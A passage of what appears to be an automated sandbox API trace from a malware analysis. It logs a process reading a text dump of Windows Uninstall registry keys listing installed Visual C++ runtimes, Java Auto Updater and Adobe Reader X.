lpWideCharStr="_x86.exe\" /modify\r\n NoElevateOnModify REG_DWORD 0x1\r\n QuietUninstallString REG_SZ \"C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe\" /uninstall /quiet\r\n UninstallString REG_SZ \"C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe\" /uninstall\r\n EstimatedSize REG_DWORD 0x4588\r\n Resume REG_DWORD 0x3\r\n Installed REG_DWORD 0x1\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\Curr\x15") returned 512 [0151.585] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=58880) returned 1 [0151.585] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.585] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.585] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="entVersion\\Uninstall\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\r\n BundleCachePath REG_SZ C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe\r\n BundleUpgradeCode REG_MULTI_SZ {1D1DB5E6-E0D8-3103-8570-369A82A9BF33}\r\n BundleAddonCode REG_MULTI_SZ \r\n BundleDetectCode REG_MULTI_SZ \r\n BundlePatchCode REG_MULTI_SZ \r\n BundleVersion REG_SZ 12.0.30501.0\r\n BundleProviderKey REG_SZ {3c3aafc8-d898-43ec-998f-965ffdae065a}\r\n Bun\x15") returned 512 [0151.585] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=59392) returned 1 [0151.585] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.585] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.585] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="dleTag REG_SZ \r\n EngineVersion REG_SZ 3.7.2829.0\r\n DisplayIcon REG_SZ C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe,0\r\n DisplayName REG_SZ Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501\r\n DisplayVersion REG_SZ 12.0.30501.0\r\n Publisher REG_SZ Microsoft Corporation\r\n ModifyPath REG_SZ \"C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe\" /modify\r\n NoElevateOnModi\x15") returned 512 [0151.585] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=59904) returned 1 [0151.585] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.585] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.585] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="fy REG_DWORD 0x1\r\n QuietUninstallString REG_SZ \"C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe\" /uninstall /quiet\r\n UninstallString REG_SZ \"C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe\" /uninstall\r\n EstimatedSize REG_DWORD 0x5246\r\n Resume REG_DWORD 0x3\r\n Installed REG_DWORD 0x1\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{4A03706F-666A-40\x15") returned 512 [0151.586] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=60416) returned 1 [0151.586] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.586] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.586] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="37-7777-5F2748764D10}\r\n AuthorizedCDFPrefix REG_SZ \r\n Comments REG_SZ \r\n Contact REG_SZ \r\n DisplayVersion REG_SZ 2.1.71.14\r\n HelpLink REG_SZ \r\n HelpTelephone REG_SZ \r\n InstallDate REG_SZ 20170630\r\n InstallLocation REG_SZ \r\n InstallSource REG_SZ C:\\Users\\aETAdzjz\\AppData\\LocalLow\\Sun\\Java\\AU\\\r\n NoModify REG_DWORD 0x1\r\n NoRemove REG_DWORD 0x1\r\n NoRepair REG_DWORD 0x1\r\n Publisher REG_SZ Oracle, \x15") returned 512 [0151.586] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=60928) returned 1 [0151.586] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.586] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.586] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="Inc.\r\n Readme REG_SZ \r\n Size REG_SZ \r\n EstimatedSize REG_DWORD 0x4e6\r\n SystemComponent REG_DWORD 0x1\r\n URLInfoAbout REG_SZ \r\n URLUpdateInfo REG_SZ \r\n VersionMajor REG_DWORD 0x2\r\n VersionMinor REG_DWORD 0x1\r\n WindowsInstaller REG_DWORD 0x1\r\n Version REG_DWORD 0x2010047\r\n Language REG_DWORD 0x409\r\n DisplayName REG_SZ Java Auto Updater\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentV\x15") returned 512 [0151.586] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=61440) returned 1 [0151.586] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.586] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.586] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="ersion\\Uninstall\\{582EA838-9199-3518-A05C-DB09462F68EC}\r\n AuthorizedCDFPrefix REG_SZ \r\n Comments REG_SZ Caution. Removing this product might prevent some applications from running.\r\n Contact REG_SZ \r\n DisplayVersion REG_SZ 14.10.25017\r\n HelpLink REG_EXPAND_SZ http://go.microsoft.com/fwlink/?LinkId=133405\r\n HelpTelephone REG_SZ \r\n InstallDate REG_SZ 20170714\r\n InstallLocation REG_SZ \r\n InstallSource REG_SZ C:\\ProgramData\\Package\x15") returned 512 [0151.586] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=61952) returned 1 [0151.586] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.586] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.586] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\\r\n ModifyPath REG_EXPAND_SZ MsiExec.exe /X{582EA838-9199-3518-A05C-DB09462F68EC}\r\n NoModify REG_DWORD 0x1\r\n Publisher REG_SZ Microsoft Corporation\r\n Readme REG_SZ \r\n Size REG_SZ \r\n EstimatedSize REG_DWORD 0x5e0\r\n SystemComponent REG_DWORD 0x1\r\n UninstallString REG_EXPAND_SZ MsiExec.exe /X{582EA838-9199-3518-A05C-DB09462F68EC}\r\n URLInfoAbout REG\x15") returned 512 [0151.586] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=62464) returned 1 [0151.586] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.586] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.587] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="_SZ \r\n URLUpdateInfo REG_SZ \r\n VersionMajor REG_DWORD 0xe\r\n VersionMinor REG_DWORD 0xa\r\n WindowsInstaller REG_DWORD 0x1\r\n Version REG_DWORD 0xe0a61b9\r\n Language REG_DWORD 0x409\r\n DisplayName REG_SZ Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{68306422-7C57-373F-8860-D26CE4BA2A15}\r\n AuthorizedCDFPrefix REG_SZ \r\n Comments REG_SZ \x15") returned 512 [0151.587] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=62976) returned 1 [0151.587] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.587] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.587] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" Caution. Removing this product might prevent some applications from running.\r\n Contact REG_SZ \r\n DisplayVersion REG_SZ 14.10.25017\r\n HelpLink REG_EXPAND_SZ http://go.microsoft.com/fwlink/?LinkId=133405\r\n HelpTelephone REG_SZ \r\n InstallDate REG_SZ 20170714\r\n InstallLocation REG_SZ \r\n InstallSource REG_SZ C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\\r\n ModifyPath REG_EXPA\x15") returned 512 [0151.587] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=63488) returned 1 [0151.587] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.587] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.587] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="ND_SZ MsiExec.exe /X{68306422-7C57-373F-8860-D26CE4BA2A15}\r\n NoModify REG_DWORD 0x1\r\n Publisher REG_SZ Microsoft Corporation\r\n Readme REG_SZ \r\n Size REG_SZ \r\n EstimatedSize REG_DWORD 0x2758\r\n SystemComponent REG_DWORD 0x1\r\n UninstallString REG_EXPAND_SZ MsiExec.exe /X{68306422-7C57-373F-8860-D26CE4BA2A15}\r\n URLInfoAbout REG_SZ \r\n URLUpdateInfo REG_SZ \r\n VersionMajor REG_DWORD 0xe\r\n VersionMinor REG_DWORD 0x\x15") returned 512 [0151.587] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=64000) returned 1 [0151.587] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.587] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.587] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="a\r\n WindowsInstaller REG_DWORD 0x1\r\n Version REG_DWORD 0xe0a61b9\r\n Language REG_DWORD 0x409\r\n DisplayName REG_SZ Microsoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}\r\n AuthorizedCDFPrefix REG_SZ \r\n Comments REG_SZ \r\n Contact REG_SZ \r\n DisplayVersion REG_SZ 8.0.61001\r\n HelpLink REG_SZ \r\n HelpT\x15") returned 512 [0151.587] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=64512) returned 1 [0151.587] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.587] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.587] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="elephone REG_SZ \r\n InstallDate REG_SZ 20170630\r\n InstallLocation REG_SZ \r\n InstallSource REG_SZ C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\IXP000.TMP\\\r\n ModifyPath REG_EXPAND_SZ MsiExec.exe /X{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}\r\n NoModify REG_DWORD 0x1\r\n NoRepair REG_DWORD 0x1\r\n Publisher REG_SZ Microsoft Corporation\r\n Readme REG_SZ \r\n Size REG_SZ \r\n EstimatedSize REG_DWORD 0x12c\r\n UninstallString REG_EXPAND_S\x15") returned 512 [0151.587] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=65024) returned 1 [0151.587] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.587] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.588] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="Z MsiExec.exe /X{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}\r\n URLInfoAbout REG_SZ \r\n URLUpdateInfo REG_SZ \r\n VersionMajor REG_DWORD 0x8\r\n VersionMinor REG_DWORD 0x0\r\n WindowsInstaller REG_DWORD 0x1\r\n Version REG_DWORD 0x800ee49\r\n Language REG_DWORD 0x0\r\n DisplayName REG_SZ Microsoft Visual C++ 2005 Redistributable\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{9BE518E6-ECC6-35A9-88E4-87755C07200F}\r\n\x15") returned 512 [0151.588] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=65536) returned 1 [0151.588] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.588] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.588] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" AuthorizedCDFPrefix REG_SZ \r\n Comments REG_SZ \r\n Contact REG_SZ \r\n DisplayVersion REG_SZ 9.0.30729.6161\r\n HelpLink REG_SZ \r\n HelpTelephone REG_SZ \r\n InstallDate REG_SZ 20170630\r\n InstallLocation REG_SZ \r\n InstallSource REG_SZ c:\\d1d7baa2967008fb8610\\\r\n ModifyPath REG_EXPAND_SZ MsiExec.exe /X{9BE518E6-ECC6-35A9-88E4-87755C07200F}\r\n NoModify REG_DWORD 0x1\r\n NoRepair REG_DWORD 0x1\r\n Publisher REG_\x15") returned 512 [0151.588] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=66048) returned 1 [0151.588] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.588] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.588] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="SZ Microsoft Corporation\r\n Readme REG_SZ \r\n Size REG_SZ \r\n EstimatedSize REG_DWORD 0x258\r\n UninstallString REG_EXPAND_SZ MsiExec.exe /X{9BE518E6-ECC6-35A9-88E4-87755C07200F}\r\n URLInfoAbout REG_SZ \r\n URLUpdateInfo REG_SZ \r\n VersionMajor REG_DWORD 0x9\r\n VersionMinor REG_DWORD 0x0\r\n WindowsInstaller REG_DWORD 0x1\r\n Version REG_DWORD 0x9007809\r\n Language REG_DWORD 0x409\r\n DisplayName REG_SZ Microsoft V\x15") returned 512 [0151.588] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=66560) returned 1 [0151.588] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.588] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.588] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="isual C++ 2008 Redistributable - x86 9.0.30729.6161\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\r\n AuthorizedCDFPrefix REG_SZ \r\n Comments REG_SZ \r\n Contact REG_SZ Customer Support\r\n DisplayVersion REG_SZ 10.0.0\r\n HelpLink REG_EXPAND_SZ http://www.adobe.com/support/main.html\r\n HelpTelephone REG_SZ \r\n InstallDate REG_SZ 20170630\r\n InstallLocation REG_SZ C:\\\x15") returned 512 [0151.588] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=67072) returned 1 [0151.588] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.588] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.588] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\\r\n InstallSource REG_SZ E:\\\r\n ModifyPath REG_EXPAND_SZ MsiExec.exe /I{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\r\n NoRepair REG_DWORD 0x1\r\n Publisher REG_SZ Adobe Systems Incorporated\r\n Readme REG_EXPAND_SZ C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Readme.htm\r\n Size REG_SZ \r\n EstimatedSize REG_DWORD 0x75ad2\r\n UninstallString REG_EXPAND_SZ MsiExec.exe /I{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\r\n UR\x15") returned 512 [0151.588] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=67584) returned 1 [0151.589] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.589] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.589] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="LInfoAbout REG_SZ http://www.adobe.com\r\n URLUpdateInfo REG_SZ http://www.adobe.com/products/acrobat/readstep.html\r\n VersionMajor REG_DWORD 0xa\r\n VersionMinor REG_DWORD 0x0\r\n WindowsInstaller REG_DWORD 0x1\r\n Version REG_DWORD 0xa000000\r\n Language REG_DWORD 0x0\r\n DisplayName REG_SZ Adobe Reader X MUI\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{B175520C-86A2-35A7-8619-86DC379688B9}\r\n AuthorizedCDF\x15") returned 512 [0151.589] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=68096) returned 1 [0151.589] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.589] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.589] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="Prefix REG_SZ \r\n Comments REG_SZ Caution. Removing this product might prevent some applications from running.\r\n Contact REG_SZ \r\n DisplayVersion REG_SZ 11.0.61030\r\n HelpLink REG_EXPAND_SZ http://go.microsoft.com/fwlink/?LinkId=133405\r\n HelpTelephone REG_SZ \r\n InstallDate REG_SZ 20170630\r\n InstallLocation REG_SZ \r\n InstallSource REG_SZ C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntime\x15") returned 512 [0151.589] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=68608) returned 1 [0151.589] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.589] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.589] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="Additional_x86\\\r\n ModifyPath REG_EXPAND_SZ MsiExec.exe /X{B175520C-86A2-35A7-8619-86DC379688B9}\r\n NoModify REG_DWORD 0x1\r\n Publisher REG_SZ Microsoft Corporation\r\n Readme REG_SZ \r\n Size REG_SZ \r\n EstimatedSize REG_DWORD 0x26ac\r\n SystemComponent REG_DWORD 0x1\r\n UninstallString REG_EXPAND_SZ MsiExec.exe /X{B175520C-86A2-35A7-8619-86DC379688B9}\r\n URLInfoAbout REG_SZ \r\n URLUpdateInfo REG_SZ \r\n VersionMajor REG_DWORD \x15") returned 512 [0151.589] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=69120) returned 1 [0151.589] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.589] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.589] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" 0xb\r\n VersionMinor REG_DWORD 0x0\r\n WindowsInstaller REG_DWORD 0x1\r\n Version REG_DWORD 0xb00ee66\r\n Language REG_DWORD 0x409\r\n DisplayName REG_SZ Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030\r\n\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}\r\n AuthorizedCDFPrefix REG_SZ \r\n Comments REG_SZ Caution. Removing this product might prevent some applications from\x15") returned 512 [0151.589] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=69632) returned 1 [0151.589] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.589] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.589] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" running.\r\n Contact REG_SZ \r\n DisplayVersion REG_SZ 11.0.61030\r\n HelpLink REG_EXPAND_SZ http://go.microsoft.com/fwlink/?LinkId=133405\r\n HelpTelephone REG_SZ \r\n InstallDate REG_SZ 20170630\r\n InstallLocation REG_SZ \r\n 